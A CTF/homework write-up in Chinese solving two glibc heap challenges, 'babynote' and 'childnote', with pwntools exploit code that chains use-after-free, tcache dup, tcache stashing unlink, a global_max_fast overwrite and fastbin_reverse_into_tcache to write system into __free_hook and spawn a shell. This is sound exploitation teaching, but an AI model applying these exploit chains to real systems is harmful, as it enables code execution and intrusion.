# HW0B

## babynote

此題 chunk 的使用次數限制在 10 次，並且在 `Delete Note` 有 UAF 可以利用。

關於 chunk array 以 `ptr[i]` 稱之，以及 chunk 的 idx 以 `chunk idx` 表示

首先 create 一個 `0x18` chunk `chunk 0`，delete 掉 `ptr[0]`，再 create 第二個 chunk，會拿到第一次 delete 掉的 `chunk 0`，再利用 UAF，delete 掉 `[ptr0]`，這樣就能讓 `ptr[1]` 指向一個已經被 delete 的 chunk，並且可以對他改值

而之後再利用 overwrite tcache key，讓同一個 chunk 可以被 delete 多次，達成 tcache dup 的攻擊，此時也能用 `show()` 來 leak heap address 了

```
for _ in range(2):
    add(0x18, 'QQ')
    delete(0)
for _ in range(3):
    edit(1, p64(0)*2) # edit key
    delete(0) # protect tcache count becomes 0

show(1)
heap = u64(r.recv(6) + b'\x00\x00') & 0xfffffffff000
log.info(f"heap: {hex(heap)}") # get tcache fd ptr
```

我們可以用此種方式達到**用兩個 chunks 即可填滿 tcache**，而要 leak libc 的方式只有丟到 `unsorted bin`，所以要想辦法構造出 small bin size 的 chunk

這邊選的 size 為 `0xd0`，所以利用一開始的 tcache dup，蓋掉現有 chunks 的 size，再利用一開始手法，就能填滿 tcache，leak libc。

這邊必須注意的是，`free()` 與 `malloc` unsorted bin chunk 時，會檢查 next_size 或是 next_chunk inuse，所以也需要其他的 fake chunks 來繞過這些檢查。這邊原本 0x100 的空間，拆成 `0xd0` + `0x20`*2

```
add(0x78, 'QQ') # ptr[2] (chunk 1)
add(0x78, b'\x00'*0x48 + p64(0x21) + b'\x00'*0x18 + p64(0x21)) # ptr[3] (chunk 2)
delete(2)
add(0x78, 'QQ') # ptr[4] (point to chunk 1)
#### use tcache dup to overwrite
add(0x18, p64(heap + 0x2b0)) # ptr[5] (get chunk 0, set fd ptr to chunk 1)
add(0x18, 'QQ') # ptr[6]
add(0x18, p64(0) + p64(0xd1)) # ptr[7] (overwrite size 0x80 -> 0xd0 (small bin
size))
```

到了這邊，利用 tcache dup 蓋掉 `chunk size` 成 0xd0，因此其中兩個 ptr 是指向了 `0xd0` size 的 chunk (`chunk 1`)

而這邊要利用 UAF 填滿 tcache 以及放進 unsorted bin，再利用 `show()` 把 libc leak 出來

```
# ptr[2] and ptr[4] point to chunk 1
for _ in range(7): # full 0xd0 tcache
    delete(2)
    edit(4, 'D'*0x10) # edit key => double free

delete(2) # put into unsorted bin
show(4)
```

最後再次透過 UAF 拿到 `__free_hook` 並寫上 `system()`，而這邊直接用一開始用來 tcache dup 的 ptr，先 delete 指向 `chunk 0` 的 `ptr[1]`，再利用同樣指向 `chunk 0` 的 `ptr[5]` 改掉 fd，最後 `create` 兩次就能拿到 `__free_hook`。

```
delete(1)
edit(5, p64(free_hook))
add(0x18, 'QQ') # ptr[8]
add(0x18, p64(system_addr)) # ptr[9]
```

隨便修改沒有被 delete 過的 ptr 如 `ptr[6]`，改成 `/bin/sh\x00`，最後 delete `ptr[6]`，會因為 `__free_hook` 的關係 call `system('/bin/sh')`

```
edit(6, b"/bin/sh\x00")
delete(6)
```

## childnote 🧒

> 因為我的打法需要控制好 allocate 的 size，所以 payload 的 size 都不能改到

題目非常簡潔，跟第一題的功能相似，不過細節差滿多的：

1. 分配的 chunks size 在 `0x80 ~ 0x100`，並且會把 size 記錄在 (chunk+0) 的地方
2. 是用 `calloc()` 來要 memory
3. 最多 create 17 個 chunk
4. 一樣有 UAF 可以用 (Double Free)

這邊一共 create 了 9 塊 chunk，因為 libc 要從 unsorted bin 拿，所以 7 塊拿來**填滿 tcache**，剩下的 2 塊需要用來在之後做 merge。
而這邊從最後一個開始刪是避免多用一塊來防止 consolidate。這邊寫了許多 `0x100`，是之後在攻擊時，會有 next_size check，不過我不想要算 offset，所以直接 spray 許多 `0x100`

```
for i in range(0x9): # 0~8
    add(0x90, p64(0x100)*0x10)

for i in range(8, 1, -1):
    delete(i)
```

而我這邊需要多一塊 0xb0，是因為要讓 heap 一開始的 tcache struct 有 0x0000000000000100 的 address 可以讓我之後用 fastbin 拿到

```
add(0xb0, 'A') # 9
delete(9)
```

透過 show()，分別從 ptr[0] leak 出 unsorted bin address，以及從 ptr[3] leak 出 heap 的位置，之後這個部分都是在算需要的位置。
並且這邊 delete 掉 ptr[0] 與 ptr[1]，讓兩個 chunk merge 成一個 chunk，由 ptr[0] 為 chunk start

```
heap = show(3) & 0xfffffffff000
log.info(f"heap: {hex(heap)}")
delete(0)
delete(1)
libc_addr = show(0) - 0x1ebbe0 # main_arena + 96
global_max_fast = libc_addr + 0x1eeb80
system_addr = libc_addr + 0x55410
free_hook = libc_addr + 0x1eeb28
log.info(f"libc_addr: {hex(libc_addr)}")
log.info(f"global_max_fast: {hex(global_max_fast)}")
log.info(f"system_addr: {hex(system_addr)}")
log.info(f"free_hook: {hex(free_hook)}")
```

此時若要了一塊 0xf0 大小的 chunk，unsorted bin 的機制會把大的 chunk 切成兩個小的 chunk，一個回傳給 user，一個繼續放在 unsorted bin，而此時如果要得 size 比當初的兩塊 merge 的 chunk 的 size (0x90) 還要大的話 (e.g. 0xf0)，則可以寫值到原先的第二塊 chunk

```
____    ____    _____
0xa0    0x140   0x100
____ =>     => _ _ _
0xa0           _____<- 可以寫到這
____    ____   _____<- 0x40
```

如上圖所示，重新 create 後的 chunk 由 ptr[9] 拿到，但是他可以寫到 ptr[1] 原本的位置，再加上有 UAF，所以可以拿來利用

隨後我利用此攻擊，填滿了 0x110 的 tcache，以及填入 6 個 0x100 chunk 到 tcache，做接下來攻擊的準備 0x110 之後會提到

`0x100` 是用來打 Tcache stashing unlink

```
add(0xf0, 'Q') # 10
fchk2 = b'Q'*0x88 + p64(0) + p64(0x110) + p64(0x100) + p64(0xAAAABBBBCCCCDDDD)
for i in range(7):
    edit(10, fchk2)
    delete(1)

fchk = b'Q'*0x88 + p64(0) + p64(0x100) + p64(0x100) + p64(0xAAAABBBBCCCCDDDD)
for i in range(6):
    edit(10, fchk)
    delete(1)
```

第一次透過 `ptr[10]` 修改 `ptr[1]`，目的為透過增加 `ptr[1]` 的 size，修改到**當初 merge 拿完第一塊 chunk 後，剩下的那個 chunk** 的 size 成 `0x100`，且確保 fd 與 bk 都指向 unsorted bin，避免等等丟到 smallbin 時檢查錯誤
而後在 create 一個 `0x100` 的 chunk，加上 header 後 `0x110` > `0x100`，會把此 chunk 丟到 smallbin 內

到此，**當初 merge 拿完第一塊 chunk 後，剩下的那個 chunk** (我們稱作 `chunk G`) 在 size 為 `0x100` 的 smallbin 內

第二次利用 `ptr[1]` 修改 `chunk G` 的 fd 為指向 trampoline，bk 指向 `chunk G`；並用 `ptr[10]`，建立一個 fake chunk，大小為 0x100，fd 指向 `chunk G`，bk 指向 `global_max_fast - 0x10`，作為 trampoline

```
# fchk = b'Q'*0x88 + p64(0) + p64(0x100) + p64(0x100) + p64(0xAAAABBBBCCCCDDDD)
edit(10, fchk)
edit(1, b'Q'*0x48 + p64(0) + p64(0x101) + p64(libc_addr + 0x1ebbe0)*2)
add(0x100, p64(0x100)*0x1f) # 11, large chunk to smallbin

edit(1, b'Q'*0x48 + p64(0) + p64(0x101) + p64(libc_addr + 0x1ebbe0) + p64(heap +
0x2b0))
edit(10, b'Q'*0x8 + p64(0) + p64(0x101) + p64(heap + 0x390) + p64(global_max_fast
- 0x10))
```

到這邊，如果我們再 create 了一個 `0xf0` size 的 chunk，libc 會 return `chunk G` 給 user，又因為 tcache 還沒滿，會把 `chunk G`->bk 的那塊 trampoline 丟到 tcache，並且把 trampoline->bk->fd 也就是 `global_max_fast` 寫入 smallbin 的值，因此接下來 free 的 chunk 都會直接進 fastbin，我們也可以用 fastbin attack 來做攻擊

```
add(0xf0, p64(0x100)*0x1d) # 12
```

在這邊介紹 `fastbin_reverse_into_tcache`，可以參考此連結，主要是利用 tcache 空的時候，如果 request size 對應到的 fastbin 內仍有 chunks，則會以 reverse 的順序 copy 進 tcache，而 copy 時如果能控制 fastbin fd 與 bk，則可以達到寫入的效果。

如果能夠在 tcache struct 對應到的 tcache `next` 寫值，並且控制某 fastbin 最後一塊 chunk 的 fd (在此稱作 `chk`)，則能夠在 trigger 到 `fastbin_reverse_into_tcache` 的時候，把 next 內的東西寫入 `chk` bk 指向的位置，因為 tcache 會把 `chk` fd 指到的位置當作另一個 fastbin chunk，又因為是 reverse 的順序，所以最一開始的 next 會被寫到最後所謂的另一個 fastbin chunk，也就是我們控制 `chk` fd 所指到的位置

將 `ptr[1]` size 改成 `0x110`，在 free 掉，而在一開始，我有刻意去填滿 `0x110` 的 tcache，就是避免此時 free 掉會直接進去 fastbin，此時會進 `0x110` fastbin

```
##### write allocate 0x110 into fastbin
# fchk2 = b'Q'*0x88 + p64(0) + p64(0x110) + p64(0x100) + p64(0xAAAABBBBCCCCDDDD)
edit(10, fchk2)
edit(1, p64(0x110)*0x12)
delete(1)
```

此時我們的目標是透過 fastbin attack 拿到 `heap + 0x1b` 的位置，改寫 `0x110` 對應到的 tcache next，將其改成 `system` 的位置
而這邊有一個要注意的地方，原本分配用來拿 tcache struct 的 size (在這邊是 `add(0xb0, 'A')`，所以是 `0xc0`) 需要大於要蓋寫對應 tcache next 的 size (在這邊是 `0x110`)，這樣才能同時把 chunk counts 蓋成 0，因而能 trigger `fastbin_reverse_into_tcache`，不然原本 tcache 是滿的，是沒辦法做攻擊的

```
##### UAF
edit(10, b'Q'*0x88 + p64(0) + p64(0x100) + p64(0)*2)
delete(1)
edit(10, b'Q'*0x88 + p64(0) + p64(0x100) + p64(heap + 0x1b))
add(0xf0, p64(0x100)*0x1f) # 13
add(0xf0, b'\x00'*0xd5 + p64(system_addr)) # 14
```

先利用 `ptr[10]` 改掉 `ptr[1]` 的 size，讓其能寫更多，在 spray `0x110` size，避免出錯，最後將在 fastbin 的 `ptr[1]` 指到的 chunk 的 bk 改成 `__free_hook - 0x10`，之後在要一塊 `0x100` 的 chunk，就能 trigger `fastbin_reverse_into_tcache`，並把 `system` 寫到 `__free_hook` 中

```
##### write free_hook
fchk2 = b'Q'*0x88 + p64(0) + p64(0x200) + p64(0x100) + p64(0xAAAABBBBCCCCDDDD)
edit(10, fchk)
edit(1, p64(0x110)*0x40)
edit(10, b'Q'*0x88 + p64(0) + p64(0x110) + p64(free_hook - 0x10))
add(0x100, 'Q') # 15
```

之後直接 `free("/bin/sh")`，會呼叫 `system("/bin/sh")`，因而 get shell

```
##### get shell
edit(10, b'Q'*0x88 + p64(0) + p64(0x100) + b'/bin/sh\x00')
delete(1)
```